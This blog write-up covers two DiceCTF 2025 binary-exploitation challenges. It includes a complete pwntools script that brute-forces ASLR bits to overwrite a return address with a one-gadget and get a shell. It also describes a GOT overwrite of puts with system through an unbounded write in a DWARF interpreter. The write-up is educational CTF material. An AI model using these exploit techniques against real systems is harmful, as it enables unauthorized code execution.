Gambling with addresses - DiceCTF Quals 2025
Dice Qualifiers were fun this year, with my team MapleBacon placing 6th in the event, sadly just 1 place away from qualifying for the in-person finals. While disappointing, this was still an improvement from our placement from last year where we place 8’th but qualified for finals
Here were the 2 pwn challenges I solved during the event, which were both solved
by guessing gambling ASLR bits.
Ret2uwu 39 solves / 155 points
The binary presents a game where you fight 3 bunnies? Here’s the text output
[gray@badger r2uwu]$ ./resort
+==================================+
| |
| 3 Dust Bunnies block your path! |
| |
| *{ ^^ }*'{ ^^ }'.{ ^^ }. |
| |
+==================================+
| |
| r2uwu2 @ 0x58462517d1e0 |
| ------ HP [####################] |
| MP [********************] |
| |
+==================================+
Attack with [DOM CLOBBERING] against which bunny? (1-3) >
We also get the C source, not that its really needed as the vulnerabilities are pretty clear.
The main event loop roughly follows:
- The weapon you attack with is chosen from 4 random variables
- You pick the bunny to attack
- It modifies the selected bunnies HP depending on the weapon chosen
- The game decides if either you or the bunnies have won, otherwise we loop
The main loop where we choose what bunny to attack doesn’t bounds check your answer
printf("Attack with [%s] against which bunny? (1-3) > ", items[item]);
fflush(stdout);
if (scanf("%d%*[^\n]", &choice) == 0) {
puts("bad input >:(");
fflush(stdout);
return 1;
}
Meaning we can modify memory around where the bunnies array is stored, but our modification of that memory is determined by what weapon we have
uint8_t dmg;
if (item == 3) {
bunnies[choice - 1].hp = 0;
} else {
dmg = rand() % 255;
bunnies[choice - 1].hp -= dmg;
}
bunnies
is an array of int_8
’s meaning we can modify individual bytes, we just
don’t have control over what value, but we can predict what value we will write!
The binary doesn’t initialize the rand seed, meaning that all values given from
rand()
will be the same each time the binary is run (by default the seed for libc’s srand is 1).
This means we can predict the weapon and damage for each loop, and iteratively subtract
bytes from one known value to get another, underflowing as needed.
The only remaining question is what to write to win?
Ignoring the obvious output of the binary, seeing that the bunnies
array was on
the stack I immediately looked to overwrite the return address of __libc_start_main
with a onegadget.
The libc onegadget that was satisfiable upon return from main is at offset 0x050a40
,
and our return address is offset 0x027245
.
This is slightly problematic, as we have 3 bytes that we need to modify, and we don’t
have a libc leak.
Libc’s address randomization being page aligned means the right 3 hex characters,
aka the lowest 12 bits of our target address will be the same each time. But the upper 12
bits are random. This means we lowest byte write will always be correct, but the
upper two bytes are up to chance.
12 bits of randomness means if we just guess an offset of 0, we will be right 1 in 4096 attempts. This seemed bad, but since we can send a predetermined string of inputs, I set my current script up to attempt it, and that got the flag before I was able to implemented a cleaner solve.
#!/usr/bin/env python3
from pwn import *
exe = context.binary = ELF('./resort')
libc = ELF('libc.so.6')
context.terminal = ['tmux', 'splitw', '-h']
rv = 0x027245 # <- __libc_start_main_ return
tv = 0x050a40 # fr fr onegadget
# hits on 0x000000
libc_return_offset = 0x6c + 1
import ctypes
rand = ctypes.CDLL("libc.so.6").rand
srand = ctypes.CDLL("libc.so.6").srand
i = 0
context.log_level = 'ERROR'
while True:
srand(1)
io = remote("dicec.tf", 32030)
# Who needs a leak?...
# io.recvuntil(b" @ ")
# leak = int(io.recvline()[:-4].strip(), 16)
# exe.address = leak - exe.sym['print_ui']
for idx, (target_byte, likely_byte) in enumerate(zip(tv.to_bytes(6, 'little')[:3], rv.to_bytes(6, 'little')[:3])):
c = likely_byte
zeroed = False
while (c != target_byte) or not zeroed:
wpn = rand() % 4
if wpn == 3:
zeroed = True
c = 0
else:
sv = rand() % 255
c = (c - sv) % 256
io.sendline(f"{libc_return_offset + idx}".encode())
while True:
io.sendline(f"{libc_return_offset - 0x8}".encode())
wpn = rand() % 4
if wpn == 3:
break
else:
sv = rand() % 255
bhealth = [96, 99, 97]
for bunny in range(1, 4):
while True:
io.sendline(str(bunny).encode())
wpn = rand() % 4
if wpn == 3:
break
else:
rand()
try:
io.recvuntil(b"wins!\n", timeout=5)
io.sendline(b"ls")
io.recvline()
io.interactive()
except EOFError:
io.close()
pass
Flag: dice{clearing_the_dust_with_the_power_of_segmentation_fault_core_dumped_ae1f9557}
After getting flag, I realized that I had entirely forgotten about the binary leak provided for free by the game UI lol. I believe the intended solution is to rop with that leak, but having seen success once, I was ready to gamble again…
Debugapwner
This was a 2 part challenge, the first half, Debugalyzer, was a flag-checker style reversing
challenge, with the checker being implemented as a sequence of ‘dwarf’ instructions
run by a custom dwarf interpreter binary Dwarf
on the debug info of a sample program.
I didn’t help much on that challenge, but had opened it up and got enough context to understand it was a non-standard dwarf vm.
For the pwn variant of this challenge we get a python server that will accept a
base64 encoded file, and will run that with the same dwarf
binary
#!/usr/bin/env python3
import base64
import sys
import subprocess
def main():
elf_path = "/tmp/elf"
try:
elf_data = base64.b64decode(input("Please provide base64 encoded ELF: "))
with open(elf_path, "wb") as f:
f.write(elf_data)
subprocess.run(["./dwarf", elf_path])
except Exception as e:
print(f"Error: {e}")
sys.exit(1)
if __name__ == "__main__":
main()
So our target is to pwn the given dwarf interpreter binary, time to dig into it works!
Our dwarf binary links against a library for elf utilities, and the main function
utilizes them to iterate over sections of the binary till it finds .debug_line
Disassembly:
{
...
if (argc <= 1) {
fprintf(stderr, "Usage: %s <elf-file>\n", *(uint64_t*)argv);
result = 1;
} else if (!elf_version(1)) {
fwrite("ELF library initialization faile…", 1, 0x22, stderr);
result = 1;
} else {
int32_t fd = open(argv[1], 0);
...
int64_t rax_4 = elf_begin((uint64_t)fd, 1, 0);
...
if (elf_getshdrstrndx(rax_4, &var_d0)) {
...
while (true) {
int64_t rax_7 = elf_nextscn(rax_4, rbx_1);
...
if (rax_7) {
if (&var_c8 != gelf_getshdr(rbx_1, &var_c8)) {
continue;
} else {
char* rax_9 = elf_strptr(rax_4, var_d0, (uint64_t)var_c8);
if (!rax_9) {
continue;
} else {
int32_t result_1 = strcmp(rax_9, ".debug_line");
...
if (result_1) {
continue;
} else {
int64_t* rax_10 = elf_getdata(rbx_1, 0);
...
puts("Processing...");
Once it hits the section its looking for, it prints out Processing, gets some info
about the section size and some other stuff I didn’t end up reversing, then calls
execute_dwarf_bytecode_v4
.
This is the interpreter that implements the dwarf instructions from our binary. Here’s IDA’s take at disassembling it:
int __fastcall execute_dwarf_bytecode_v4(
__int64 instructions_ptr,
unsigned __int64 instr_len,
__int64 prior_frame_ptr,
__int64 a4,
unsigned __int8 a5)
{
unsigned __int64 v5; // rax
unsigned __int64 v7; // r13
unsigned __int8 v8; // al
__int64 v9; // r12
unsigned __int64 v10; // rbp
__int64 v11; // rdx
unsigned __int8 opcode; // bl
char *v13; // rsi
unsigned __int64 v14; // rcx
int v15; // eax
const char *result_str; // rax
__int64 v18; // rax
int flag_write_idx; // eax
char flag_write_val; // si
char v21; // bp
int v22; // eax
unsigned __int64 v23; // rdx
char v24; // si
__int64 v25; // rcx
unsigned __int8 v26; // di
unsigned __int8 v27; // si
unsigned __int8 v28; // si
char v29; // al
unsigned __int64 v30; // [rsp+0h] [rbp-58h]
char check_flag; // [rsp+8h] [rbp-50h]
unsigned __int64 instructions_rem; // [rsp+10h] [rbp-48h] BYREF
_QWORD state[8]; // [rsp+18h] [rbp-40h] BYREF
state[0] = instructions_ptr;
instructions_rem = instr_len;
if ( !instr_len )
{
result_str = (const char *)select_str((__int64)incorrect_msg, (__int64)correct_msg, 1);
return puts(result_str);
}
v5 = instr_len;
check_flag = 1;
while ( 1 )
{
v11 = state[0];
opcode = *(_BYTE *)state[0];
v13 = (char *)++state[0];
v14 = v5 - 1;
instructions_rem = v5 - 1;
if ( opcode )
{
if ( opcode < *(_BYTE *)(prior_frame_ptr + 3) )
{
switch ( opcode )
{
case 1u:
case 6u:
case 7u:
case 8u:
case 0xAu:
case 0xBu:
goto instr_loop;
case 2u:
case 4u:
case 5u:
case 0xCu:
read_uleb128(state, &instructions_rem);
break;
case 3u:
do
{
v29 = *v13++;
--v14;
}
while ( v29 < 0 && v14 );
state[0] = v13;
instructions_rem = v14;
break;
case 9u:
if ( v14 > 1 )
{
state[0] = v11 + 3;
instructions_rem = v5 - 3;
}
break;
default:
printf("Opcode %d unimplemented\n", opcode);
break;
}
}
goto instr_loop;
}
v30 = read_uleb128(state, &instructions_rem);
v7 = instructions_rem;
if ( !instructions_rem )
goto exit;
v8 = *(_BYTE *)state[0];
v9 = ++state[0];
v10 = --instructions_rem;
if ( v8 == 81 )
{
flag_write_idx = read_uleb128(state, &instructions_rem);
if ( !instructions_rem )
goto exit;
flag_write_val = *(_BYTE *)state[0]++;
--instructions_rem;
flag[flag_write_idx] = flag_write_val;
goto instr_loop;
}
if ( v8 <= 0x51u )
break;
if ( v8 != 82 )
goto LABEL_35;
v15 = read_uleb128(state, &instructions_rem);
if ( !instructions_rem )
goto exit;
v21 = flag[v15];
v22 = read_uleb128(state, &instructions_rem);
v23 = instructions_rem;
if ( !instructions_rem )
goto exit;
v24 = flag[v22];
v25 = state[0];
v26 = *(_BYTE *)state[0];
--instructions_rem;
if ( v23 == 1 )
goto exit;
if ( v26 == 2 )
{
opcode = v24 * v21;
}
else if ( v26 > 2u )
{
v28 = v21 ^ v24;
if ( v26 == 3 )
opcode = v28;
}
else
{
opcode = v21 - v24;
v27 = v21 + v24;
if ( !v26 )
opcode = v27;
}
state[0] += 2LL;
instructions_rem = v23 - 2;
check_flag &= opcode == *(_BYTE *)(v25 + 1) || v23 == 2;
instr_loop:
v5 = instructions_rem;
if ( !instructions_rem )
goto exit;
}
if ( v8 == 1 )
goto instr_loop;
if ( v8 == 2 )
{
if ( v30 >= (unsigned __int64)a5 + 1 )
{
if ( a5 )
{
v18 = 0;
do
++v18;
while ( a5 != v18 );
}
else
{
v18 = 0;
}
state[0] = v18 + v9;
instructions_rem = v10 - v18;
}
goto instr_loop;
}
LABEL_35:
printf("Extended opcode %d unimplemented\n", 0);
if ( v30 <= 1 )
goto instr_loop;
while ( v10 )
{
if ( v10 - 1 == v7 - v30 )
{
instructions_rem = v10 - 1;
state[0] = v7 + v9 - v10;
goto instr_loop;
}
--v10;
}
exit:
result_str = (const char *)select_str((__int64)incorrect_msg, (__int64)correct_msg, check_flag);
return puts(result_str);
}
We can see a main loop parsing the instructions, clearly lots of the possible dwarf instructions aren’t supported, hence the printf in the first case statement, just what was needed for the flag checker.
The thing most interesting to us is the instruction that writes to the flag array.
if our instruction begins with the bytes \x00\x01\x51
we get to:
if ( v8 == 81 ) {
flag_write_idx = read_uleb128(state, &instructions_rem);
if ( !instructions_rem )
goto exit;
flag_write_val = *(_BYTE *)state[0]++;
--instructions_rem;
flag[flag_write_idx] = flag_write_val;
goto instr_loop;
}
This write to flag[]
isn’t bounds checked, so if we can construct instructions
that write to a target value, we can potentially overwrite GOT entries, as the
array is below GOT and we only have partial-RELRO protections.
One confusing bit is our index is constructed from read_uleb128
, this constructs
a 64 bit value from a variable-length encoded immediate in our instruction.
__int64 __fastcall read_uleb128(_QWORD *a1, __int64 *a2)
{
__int64 v2; // r9
char v3; // cl
char v4; // r8
__int64 v5; // rax
v2 = *a2;
if ( *a2 )
{
v3 = 0;
v2 = 0;
do
{
v4 = *(_BYTE *)(*a1)++;
v5 = *a2 - 1;
*a2 = v5;
v2 |= (unsigned __int64)(v4 & 0x7F) << v3;
if ( v4 >= 0 )
break;
v3 += 7;
}
while ( v5 );
}
return v2;
}
Here’s a snippet to encode values for this function
def write_uleb128(value):
encoded_bytes = bytearray()
while value > 0x7F:
encoded_bytes.append((value & 0x7F) | 0x80)
value >>= 7
encoded_bytes.append(value & 0x7F)
return bytes(encoded_bytes)
Something I hadn’t yet focused on is how we are going to craft a binary with our
exploit instructions. I thought it might be smart to construct an elf binary by
hand that had these instructions, but I didn’t find a simple way to make one in
python that played nice with their elf header parsing. Instead I opted to just overwrite
the instructions on the provided ./main
binary from the reversing challenge, since
it had enough space for a reasonable payload in their checker instructions.
Ok, so we have an arbitrary write in the data region of our binary. Next I looked
for a one-gadget that we could use, nothing looked satisfiable, even
with changing state from our instructions.
I could overwrite GOT entries, and one target function jumped out, at the end of
our execute_dwarf_bytecode_v4
instruction, we make a call to puts
with a string,
this was for the flag checker success/failure output.
The strings that are passed to puts are in a writable section of memory, so if we
overwrite those strings we can have an arbitrary input to puts. If we then overwrite
puts
’s GOT entry with system, we win! But wait, we have the same PIE issue as last time.
The delta from puts
and system
were 3 bytes different, meaning we would have
the same 4096 chance of getting our exploit to hit the correct address. It felt
silly to do the same thing twice, but I scripted a thrower to try while I looked
for other options.
During the competition the challenge endpoint was verrrry slow, I think from
multiple teams attempting this brute force strategy. A teammate Lyndon started my
throwing script, but instead of /bin/sh
attempted to debug with id
instead.
His third attempt hit, showing the exploit worked, but since he used id
we didn’t
get a flag output…
Cue another 3 hours of attempts, running on 2 machines, till we got a hit with the correct payload.
Flag: dice{not_contrived_at_all_:^)}
The intended solution used popen
instead of system, which is much closer to puts
and results in a 1/16 chance of hitting the target, a lesson for next time I guess.